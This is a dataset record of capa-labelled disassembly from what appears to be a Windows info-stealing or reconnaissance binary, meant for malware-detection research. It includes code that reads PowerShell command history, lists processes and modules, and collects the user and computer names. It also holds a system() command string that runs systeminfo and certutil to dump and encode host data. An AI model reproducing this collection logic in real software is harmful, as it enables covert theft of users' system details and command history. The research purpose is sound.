joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Parse pe header

Disassembly:
push rsi
sub rsp, 0x20
mov rax, qword [0x14009c028]
mov dword [rax], 1
mov rax, qword [0x14009c030]
mov dword [rax], 1
mov rax, qword [0x14009c038]
mov dword [rax], 1
mov rcx, qword [0x14009c008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x14000108b
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x14000108b
add rcx, rdx
movzx edx, word [rcx + 0x18]
cmp edx, 0x20b
je 0x140001073
cmp edx, 0x10b
jne 0x14000108b
cmp dword [rcx + 0x74], 0xf
jb 0x14000108b
add rcx, 0xe8
jmp 0x140001083
cmp dword [rcx + 0x84], 0xf
jb 0x14000108b
add rcx, 0xf8
xor eax, eax
cmp dword [rcx], 0
setne al
mov rcx, qword [0x14009c020]
cmp dword [rcx], 1
mov dword [0x1400ca3d4], eax
mov ecx, 2
sbb ecx, 0
call sym.__set_app_type
mov rax, qword [0x14009c088]
mov esi, dword [rax]
call dbg.__p__fmode
mov dword [rax], esi
mov rax, qword [0x14009c078]
mov esi, dword [rax]
call dbg.__p__commode
mov dword [rax], esi
call dbg._setargv
mov rax, qword [section..rdata]
cmp dword [rax], 1
jne 0x1400010e5
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x20
pop rsi
ret
Function at 0x140006577
Capabilities:
Enumerate process modules

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1158
call fcn.14005ff70
sub rsp, rax
mov rsi, rdx
mov rdi, rcx
lea rcx, [rsp + 0x150]
lea r8, [rsp + 0x2c]
mov edx, 0x1000
call sym.K32EnumProcesses
test eax, eax
je 0x1400066c0
mov r14d, dword [rsp + 0x2c]
lea rdx, str.___RunningProcesses_:__
mov rcx, rdi
mov r8, rsi
call sym.strncat
cmp r14, 4
jb 0x1400066a1
shr r14d, 2
mov r15, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rbx, [rsp + 0x40]
lea r12, [0x14009f850]
xor r13d, r13d
mov r8d, dword [rsp + r13*4 + 0x150]
mov ecx, 0x410
xor edx, edx
call r15
test rax, rax
je 0x140006695
mov rbp, rax
mov r8d, 0x104
mov rcx, rbx
xor edx, edx
call sym.memset
mov rcx, rbp
lea rdx, [rsp + 0x30]
mov r8d, 8
lea r9, [rsp + 0x3c]
call sym.K32EnumProcessModules
test eax, eax
je 0x140006650
mov rdx, qword [rsp + 0x30]
mov rcx, rbp
mov r8, rbx
mov r9d, 0x104
call sym.K32GetModuleBaseNameA
mov rcx, rdi
mov rdx, r12
mov r8, rsi
call sym.strncat
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sym.strncat
mov rcx, rdi
mov rdx, r12
mov r8, rsi
call sym.strncat
mov rcx, rdi
lea rdx, [0x14009f84b]
mov r8, rsi
call sym.strncat
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r13
cmp r14, r13
jne 0x1400065f0
mov rcx, rdi
call sym.strlen
mov byte [rax + rdi - 2], 0
lea rdx, [0x14009fceb]
mov rcx, rdi
mov r8, rsi
call sym.strncat
nop
add rsp, 0x1158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400066d5
Capabilities:
Enumerate process modules

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x2198
call fcn.14005ff70
sub rsp, rax
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x190]
lea r9, [rsp + 0x24]
mov rcx, rax
mov r8d, 0x2000
call sym.K32EnumProcessModules
test eax, eax
je 0x14000688d
mov ebx, dword [rsp + 0x24]
lea rdx, str.___LoadedModules_:__
mov rcx, rdi
mov r8, rsi
call sym.strncat
cmp rbx, 8
jb 0x14000687b
mov rax, rbx
shr eax, 3
mov qword [rsp + 0x28], rax
dec eax
mov qword [rsp + 0x30], rax
lea r13, [rsp + 0x38]
lea r12, [rsp + 0x68]
lea rbp, [rsp + 0x50]
xor r15d, r15d
mov r8d, 0x104
lea rbx, [rsp + 0x80]
mov rcx, rbx
xor edx, edx
call sym.memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + r15*8 + 0x190]
mov rcx, rax
mov r8, rbx
mov r9d, 0x104
call sym.K32GetModuleFileNameExA
mov rcx, rdi
lea rdx, [0x14009f850]
mov r8, rsi
call sym.strncat
mov rcx, r13
mov rdx, rbx
call sym._ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2B8ue170005ILi0EEEPKc
mov rcx, r12
lea rdx, [0x14009f880]
call sym._ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2B8ue170005ILi0EEEPKc
mov rcx, rbp
lea rdx, [0x14009f882]
call sym._ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2B8ue170005ILi0EEEPKc
mov rcx, r13
mov rdx, r12
mov r8, rbp
call sym.replaceAll_std::__1::basic_string_char__std::__1::char_traits_char___std::__1::allocator_char_____std::__1::basic_string_char__std::__1::char_traits_char___std::__1::allocator_char____const__std::__1::basic_string_char__std::__1::char_traits_char___std::__1::allocator_char____const_
test byte [rsp + 0x50], 1
je 0x1400067f2
mov rcx, qword [rsp + 0x60]
call sym..weak._ZdlPv.default.__clang_call_terminate
mov rbx, rbp
mov r14, r13
test byte [rsp + 0x68], 1
je 0x140006809
mov rcx, qword [rsp + 0x78]
call sym..weak._ZdlPv.default.__clang_call_terminate
mov r13b, byte [rsp + 0x38]
test r13b, 1
mov rbp, qword [rsp + 0x48]
mov rdx, rbp
lea rax, [rsp + 0x39]
cmove rdx, rax
mov rcx, rdi
mov r8, rsi
call sym.strncat
mov rcx, rdi
lea rdx, [0x14009f850]
mov r8, rsi
call sym.strncat
cmp r15, qword [rsp + 0x30]
jae 0x140006859
mov rcx, rdi
lea rdx, [0x14009f84b]
mov r8, rsi
call sym.strncat
test r13b, 1
je 0x140006867
mov rcx, rbp
call sym..weak._ZdlPv.default.__clang_call_terminate
inc r15
cmp qword [rsp + 0x28], r15
mov r13, r14
mov rbp, rbx
jne 0x140006761
lea rdx, [0x14009fceb]
mov rcx, rdi
mov r8, rsi
call sym.strncat
nop
add rsp, 0x2198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400068eb
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rbx, rcx
call sym.strlen
mov rdi, rax
add rax, 2
movabs r14, 0xaaaaaaaaaaaaaaab
mul r14
mov rsi, rdx
add rsi, rdx
and rsi, 0xfffffffffffffffc
lea rcx, [rsi + 1]
call sym..weak._Znay.default.__clang_call_terminate
mov rcx, rax
mov byte [rax + rsi], 0
test rdi, rdi
je 0x140006a7d
mov rax, rcx
add rax, 3
xor r11d, r11d
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea r8, [r11 + 1]
mov r10d, 0
cmp r8, rdi
jae 0x140006960
lea r8, [r11 + 2]
movzx r10d, byte [rbx + r11 + 1]
xor r9d, r9d
cmp r8, rdi
jae 0x140006970
movzx r9d, byte [rbx + r8]
inc r8
movzx r11d, byte [rbx + r11]
mov ebp, r11d
shl ebp, 0x10
shl r10d, 8
lea r15d, [r9 + r10]
or r10d, ebp
shr r11d, 2
mov r11b, byte [r11 + rdx]
mov byte [rax - 3], r11b
shr r10d, 0xc
and r10d, 0x3f
mov r10b, byte [r10 + rdx]
mov byte [rax - 2], r10b
shr r15d, 6
and r15d, 0x3f
mov r10b, byte [r15 + rdx]
mov byte [rax - 1], r10b
and r9d, 0x3f
mov r9b, byte [r9 + rdx]
mov byte [rax], r9b
add rax, 4
mov r11, r8
cmp r8, rdi
jb 0x140006947
mov rax, rdi
mul r14
shr rdx, 1
lea rax, [rdx + rdx*2]
sub rdi, rax
je 0x140006a7d
mov eax, 2
sub rax, rdi
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
xor eax, eax
test al, al
jne 0x140006a00
mov byte [rsi + rcx - 1], 0x3d
pxor xmm0, xmmword [0x14009c0d0]
movdqa xmm2, xmmword [0x14009c0e0]
pshufd xmm3, xmm2, 0xf5
pcmpgtd xmm2, xmm0
pshufd xmm1, xmm0, 0xf5
pcmpeqd xmm3, xmm1
pand xmm3, xmm2
pcmpeqd xmm2, xmm2
pxor xmm3, xmm2
pextrw eax, xmm3, 4
test al, 1
je 0x140006a3c
mov byte [rsi + rcx - 2], 0x3d
movdqa xmm4, xmmword [0x14009c0f0]
pshufd xmm3, xmm4, 0xf5
pcmpgtd xmm4, xmm0
pcmpeqd xmm3, xmm1
pand xmm3, xmm4
pxor xmm2, xmm3
pextrw eax, xmm2, 0
test al, 1
je 0x140006a67
mov byte [rsi + rcx - 3], 0x3d
pcmpeqd xmm0, xmm0
pxor xmm3, xmm0
pextrw eax, xmm3, 4
test al, 1
je 0x140006a7d
mov byte [rsi + rcx - 4], 0x3d
mov rax, rcx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140006a8d
Capabilities:
Check if file exists
Get file attributes
Get file size
Query environment variable
Read file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x49538
call fcn.14005ff70
sub rsp, rax
mov edi, edx
mov rsi, rcx
lea rcx, str._userprofile_AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt
lea rbx, [rsp + 0x40]
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140006ade
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 2
je 0x140006b80
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, [rsp + 0x40]
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, 0x493e0
cmp eax, r8d
cmovl r8d, eax
mov qword [rsp + 0x20], r14
lea r14, [rsp + 0x150]
lea r9, [rsp + 0x3c]
mov rcx, rbx
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call sym.Base64Encode_char_const_
mov r14, rax
movsxd rbx, edi
add rsi, rbx
mov rcx, rax
call sym.strlen
lea rdx, [rax + 0x22]
lea r8, str.___PSHistory_:___s___n
mov rcx, rsi
mov r9, r14
call fcn.14000aca4
mov esi, eax
mov rcx, r14
call sym.free
add ebx, esi
mov eax, ebx
add rsp, 0x49538
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x140006b8f
Capabilities:
Execute command
Get file size
Read file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x1f448
call fcn.14005ff70
sub rsp, rax
mov rsi, rcx
lea rcx, str.C:WindowsSysWOW64_systeminfo.exe__C:WindowsTemp_sys.txt__certutil__f__encodehex_C:WindowsTemp_sys.txt_C:WindowsTemp_sys.b64_0x40000001__nul
call sym.system
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str.C:WindowsTemp_sys.b64
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov qword [rsp + 0x20], r14
lea r14, [rsp + 0x40]
lea r9, [rsp + 0x3c]
mov rcx, rdi
mov rdx, r14
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
call sym.strlen
movabs rcx, 0x6f666e6973795322
mov qword [rsi + rax], rcx
movabs rcx, 0x22203a226f666e
mov qword [rsi + rax + 5], rcx
mov rcx, rsi
call sym.strlen
lea rcx, [rax + rsi]
movsxd rdx, ebx
lea r8, [0x14009fe7f]
mov r9, r14
call fcn.14000aca4
mov rcx, rsi
call sym.strlen
mov dword [rsi + rax], 0xa2c22
mov rcx, rsi
call sym.strlen
nop
add rsp, 0x1f448
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140006f62
Capabilities:
Get hostname
Get session user name

Disassembly:
push rsi
push rdi
sub rsp, 0x148
mov rsi, rcx
lea rdx, [rsp + 0x2c]
mov dword [rdx], 0x101
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x140006fe1
lea rdx, [rsp + 0x28]
mov dword [rdx], 0x10
lea rdi, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x140006fea
mov qword [rsp + 0x20], rdi
lea r8, str._n___Username_:___s___n___MalOne_:__92616448_0aae_4e68_b5e5_d153fc3f3947___n___Computername_:___s_
lea r9, [rsp + 0x40]
mov edx, 0xbb8
mov rcx, rsi
call fcn.14000aca4
movsxd rdi, eax
add rsi, rdi
lea r8, [0x1400a0015]
mov edx, 7
mov rcx, rsi
call fcn.14000aca4
add edi, eax
jmp 0x140006ffb
lea rcx, str.Failed_to_get_user_name
jmp 0x140006ff1
lea rcx, str.Failed_to_get_computer_name
call sym.PrintWinApiError_char_const_
mov edi, 1
mov eax, edi
add rsp, 0x148
pop rdi
pop rsi
ret
Function at 0x14000b936
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
xor edi, edi
cmp qword [rcx + 0x78], 0
je 0x14000ba70
mov rsi, rcx
mov rcx, qword [rcx + 0x80]
test rcx, rcx
je 0x14000baf4
mov eax, dword [rsi + 0x94]
test al, 0x10
jne 0x14000b998
test al, 8
je 0x14000ba70
mov eax, dword [rsi + 0x8c]
mov dword [rsp + 0x2c], eax
cmp byte [rsi + 0x9a], 0
je 0x14000ba2c
mov rbx, qword [rsi + 0x20]
sub rbx, qword [rsi + 0x18]
jmp 0x14000ba52
mov rax, qword [rsi + 0x30]
cmp rax, qword [rsi + 0x28]
je 0x14000b9be
mov rax, qword [rsi]
mov edi, 0xffffffff
mov rcx, rsi
mov edx, 0xffffffff
call qword [rax + 0x68]
cmp eax, 0xffffffff
je 0x14000ba70
lea rdi, [rsi + 0x88]
lea r15, [rsp + 0x30]
mov r8, qword [rsi + 0x40]
mov rcx, qword [rsi + 0x80]
mov r9, qword [rsi + 0x60]
add r9, r8
mov rax, qword [rcx]
mov qword [rsp + 0x20], r15
mov rdx, rdi
call qword [rax + 0x28]
mov ebx, eax
mov r14, qword [rsp + 0x30]
mov rcx, qword [rsi + 0x40]
mov r9, qword [rsi + 0x78]
sub r14, rcx
mov edx, 1
mov r8, r14
call sym.fwrite
cmp rax, r14
jne 0x14000ba6b
cmp ebx, 1
je 0x14000b9ca
cmp ebx, 2
je 0x14000ba6b
mov rcx, qword [rsi + 0x78]
call sym.fflush
mov edi, 0
test eax, eax
jne 0x14000ba6b
jmp 0x14000ba70
mov rax, qword [rcx]
call qword [rax + 0x30]
mov r9, qword [rsi + 0x48]
mov rbx, qword [rsi + 0x50]
sub rbx, r9
test eax, eax
jle 0x14000bab5
mov rcx, qword [rsi + 0x20]
sub rcx, qword [rsi + 0x18]
mov eax, eax
imul rcx, rax
add rbx, rcx
xor ebp, ebp
mov rcx, qword [rsi + 0x78]
neg ebx
mov edx, ebx
mov r8d, 1
call dbg.fseeko
test eax, eax
je 0x14000ba7f
mov edi, 0xffffffff
mov eax, edi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
test bpl, bpl
je 0x14000ba8e
mov eax, dword [rsp + 0x2c]
mov dword [rsi + 0x88], eax
mov rax, qword [rsi + 0x40]
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x48], rax
mov dword [rsi + 0x94], 0
xorps xmm0, xmm0
movups xmmword [rsi + 0x10], xmm0
mov qword [rsi + 0x20], 0
jmp 0x14000ba70
mov rax, qword [rsi + 0x18]
cmp rax, qword [rsi + 0x20]
je 0x14000ba52
mov r8, qword [rsi + 0x40]
mov rcx, qword [rsi + 0x80]
sub rax, qword [rsi + 0x10]
mov r10, qword [rcx]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x2c]
call qword [r10 + 0x40]
mov eax, eax
add rbx, qword [rsi + 0x48]
add rax, qword [rsi + 0x40]
sub rbx, rax
mov bpl, 1
jmp 0x14000ba54
call method.std::__1.__throw_bad_cast_abi:ue170005___
int3
Function at 0x14000bafa
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x78], 0
je 0x14000bb3f
mov rsi, rcx
call method.std::__1::basic_filebuf_char__std::__1::char_traits_char___.__read_mode__
mov rdx, qword [rsi + 0x18]
lea rbx, [rsp + 0x47]
test rdx, rdx
jne 0x14000bb33
lea rdx, [rsp + 0x48]
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdx
mov qword [rsi + 0x20], rdx
mov rcx, qword [rsi + 0x20]
test al, al
je 0x14000bb49
xor edi, edi
jmp 0x14000bb6a
mov eax, 0xffffffff
jmp 0x14000bcf0
mov rax, rcx
sub rax, qword [rsi + 0x10]
mov r8, rax
shr r8, 0x3f
add r8, rax
sar r8, 1
cmp r8, 4
mov edi, 4
cmovb rdi, r8
cmp rdx, rcx
je 0x14000bb77
movzx eax, byte [rdx]
jmp 0x14000bcd8
mov rcx, qword [rsi + 0x10]
sub rdx, rdi
mov r8, rdi
call sym.memmove
cmp byte [rsi + 0x9a], 0
je 0x14000bbd0
mov rcx, qword [rsi + 0x10]
add rcx, rdi
mov r8, qword [rsi + 0x20]
mov r9, qword [rsi + 0x78]
sub r8, rcx
mov edx, 1
call sym.fread
test rax, rax
je 0x14000bcd3
mov rcx, qword [rsi + 0x10]
lea rdx, [rcx + rdi]
add rax, rdx
mov qword [rsi + 0x18], rdx
mov qword [rsi + 0x20], rax
movzx eax, byte [rcx + rdi]
jmp 0x14000bcd8
mov rdx, qword [rsi + 0x48]
mov rax, qword [rsi + 0x50]
mov r8, rax
mov rcx, rax
sub r8, rdx
je 0x14000bbf4
mov rcx, qword [rsi + 0x40]
call sym.memmove
mov rax, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
sub rcx, rax
mov r8, qword [rsi + 0x40]
mov rax, qword [rsi + 0x70]
add rcx, r8
mov qword [rsi + 0x48], rcx
lea r9, [rsi + 0x58]
mov edx, 8
cmp r8, r9
je 0x14000bc18
mov rdx, qword [rsi + 0x60]
add r8, rdx
mov qword [rsi + 0x50], r8
sub rax, rdi
sub r8, rcx
cmp r8, rax
cmovae r8, rax
mov eax, dword [rsi + 0x88]
mov dword [rsi + 0x8c], eax
mov r9, qword [rsi + 0x78]
mov edx, 1
call sym.fread
test rax, rax
je 0x14000bcd3
mov rcx, qword [rsi + 0x80]
test rcx, rcx
je 0x14000bcfc
lea r9, [rsi + 0x48]
add rax, qword [rsi + 0x48]
lea rdx, [rsi + 0x88]
mov qword [rsi + 0x50], rax
mov r10, qword [rsi + 0x10]
mov r8, qword [rsi + 0x40]
lea r11, [r10 + rdi]
add r10, qword [rsi + 0x70]
mov r14, qword [rcx]
lea r15, [rsp + 0x48]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], r9
mov r9, rax
call qword [r14 + 0x20]
cmp eax, 3
jne 0x14000bcb8
mov rdi, qword [rsi + 0x40]
mov rax, qword [rsi + 0x50]
mov qword [rsi + 0x10], rdi
jmp 0x14000bcc6
mov rax, qword [rsp + 0x48]
add rdi, qword [rsi + 0x10]
cmp rax, rdi
je 0x14000bcd3
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rax
movzx eax, byte [rdi]
jmp 0x14000bcd8
mov eax, 0xffffffff
cmp qword [rsi + 0x10], rbx
jne 0x14000bcf0
add rsi, 0x10
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], 0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call method.std::__1.__throw_bad_cast_abi:ue170005___
int3
Function at 0x14000bd46
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp qword [rcx + 0x78], 0
je 0x14000bee9
mov esi, edx
mov rdi, rcx
call method.std::__1::basic_filebuf_char__std::__1::char_traits_char___.__write_mode__
mov r15, qword [rdi + 0x28]
mov r9, qword [rdi + 0x30]
mov r14, qword [rdi + 0x38]
cmp esi, 0xffffffff
je 0x14000bdab
test r9, r9
jne 0x14000bd97
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x4f]
mov qword [rdi + 0x30], r9
mov qword [rdi + 0x28], r9
mov qword [rdi + 0x38], rax
mov byte [r9], sil
mov r8, qword [rdi + 0x28]
mov r9, qword [rdi + 0x30]
inc r9
mov qword [rdi + 0x30], r9
jmp 0x14000bdae
mov r8, r15
mov rbx, r9
sub rbx, r8
je 0x14000bedf
cmp byte [rdi + 0x9a], 0
je 0x14000bded
mov r9, qword [rdi + 0x78]
mov edx, 1
mov rcx, r8
mov r8, rbx
call sym.fwrite
mov rcx, rax
mov eax, 0xffffffff
cmp rcx, rbx
je 0x14000bed3
jmp 0x14000beee
mov qword [rsp + 0x60], r14
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0x58], rax
mov rcx, qword [rdi + 0x80]
test rcx, rcx
je 0x14000beac
lea rbx, [rdi + 0x88]
lea r13, [rsp + 0x58]
lea r12, [rsp + 0x50]
mov rax, qword [rdi + 0x40]
mov rdx, qword [rdi + 0x60]
add rdx, rax
mov r10, qword [rcx]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov rdx, rbx
call qword [r10 + 0x18]
mov rcx, qword [rdi + 0x28]
cmp qword [rsp + 0x50], rcx
je 0x14000bee9
mov ebp, eax
cmp eax, 3
je 0x14000beb1
cmp ebp, 1
ja 0x14000bee9
mov r14, qword [rsp + 0x58]
mov rcx, qword [rdi + 0x40]
mov r9, qword [rdi + 0x78]
sub r14, rcx
mov edx, 1
mov r8, r14
call sym.fwrite
cmp rax, r14
jne 0x14000bee9
cmp ebp, 1
jne 0x14000bece
mov r8, qword [rsp + 0x50]
mov r9, qword [rdi + 0x30]
mov qword [rdi + 0x28], r8
mov qword [rdi + 0x38], r9
mov rcx, qword [rdi + 0x80]
test rcx, rcx
jne 0x14000be1c
call method.std::__1.__throw_bad_cast_abi:ue170005___
mov rbx, qword [rdi + 0x30]
mov r9, qword [rdi + 0x78]
sub rbx, rcx
mov edx, 1
mov r8, rbx
call sym.fwrite
cmp rax, rbx
jne 0x14000bee9
mov r14, qword [rsp + 0x60]
mov qword [rdi + 0x30], r15
mov qword [rdi + 0x28], r15
mov qword [rdi + 0x38], r14
xor eax, eax
cmp esi, 0xffffffff
cmovne eax, esi
jmp 0x14000beee
mov eax, 0xffffffff
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140026a00
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rdi, [rsp + 0x38]
lea r15, [rsp + 0x28]
lea rbx, [rsp + 0x30]
nop
mov rcx, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x20], r15
mov r8, rbx
mov r9, rdi
call qword [0x1400d3008]
mov ebp, eax
mov r14, qword [rsp + 0x28]
sub r14, rbx
mov r9, qword [rsi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r14
call sym.fwrite
mov rcx, rax
mov eax, 0xffffffff
cmp rcx, r14
jne 0x140026a86
cmp ebp, 1
je 0x140026a20
cmp ebp, 2
je 0x140026a86
mov rcx, qword [rsi + 0x40]
call sym.fflush
mov ecx, eax
xor eax, eax
neg ecx
sbb eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140026aa0
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov rdi, rdx
mov r14, rcx
cmp byte [rcx + 0x58], 0
je 0x140026ad5
mov r9, qword [r14 + 0x40]
mov edx, 1
mov rcx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp sym.fwrite
xor ebx, ebx
test rsi, rsi
jle 0x140026b04
nop dword [rax]
movzx edx, byte [rdi + rbx]
mov rax, qword [r14]
mov rax, qword [rax + 0x68]
mov rcx, r14
call qword [0x1400d3008]
cmp eax, 0xffffffff
je 0x140026b04
inc rbx
cmp rsi, rbx
jne 0x140026ae0
mov rbx, rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x140026b20
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp edx, 0xffffffff
je 0x140026b76
mov esi, edx
mov rdi, rcx
mov byte [rsp + 0x4f], sil
cmp byte [rcx + 0x58], 0
je 0x140026b7f
mov r9, qword [rdi + 0x40]
mov byte [rsp + 0x50], sil
lea rcx, [rsp + 0x50]
mov edx, 1
mov r8d, 1
call sym.fwrite
mov rcx, rax
mov eax, 0xffffffff
cmp rcx, 1
je 0x140026b78
jmp 0x140026c3a
xor esi, esi
mov eax, esi
jmp 0x140026c3a
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x60], rbx
lea r15, [rsp + 0x4f]
lea r12, [rsp + 0x58]
lea r13, [rsp + 0x60]
lea r14, [rsp + 0x58]
nop dword [rax]
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rdi + 0x50]
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov r8, r15
lea r9, [rsp + 0x50]
call qword [0x1400d3008]
cmp qword [rsp + 0x58], r15
je 0x140026c35
mov ebp, eax
cmp eax, 3
je 0x140026c14
cmp ebp, 1
ja 0x140026c35
mov r15, qword [rsp + 0x60]
sub r15, rbx
mov r9, qword [rdi + 0x40]
mov edx, 1
mov rcx, rbx
mov r8, r15
call sym.fwrite
cmp rax, r15
jne 0x140026c35
mov r15, qword [rsp + 0x58]
cmp ebp, 1
je 0x140026ba0
jmp 0x140026b78
mov r9, qword [rdi + 0x40]
mov edx, 1
mov r8d, 1
mov rcx, r15
call sym.fwrite
cmp rax, 1
je 0x140026b78
mov eax, 0xffffffff
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret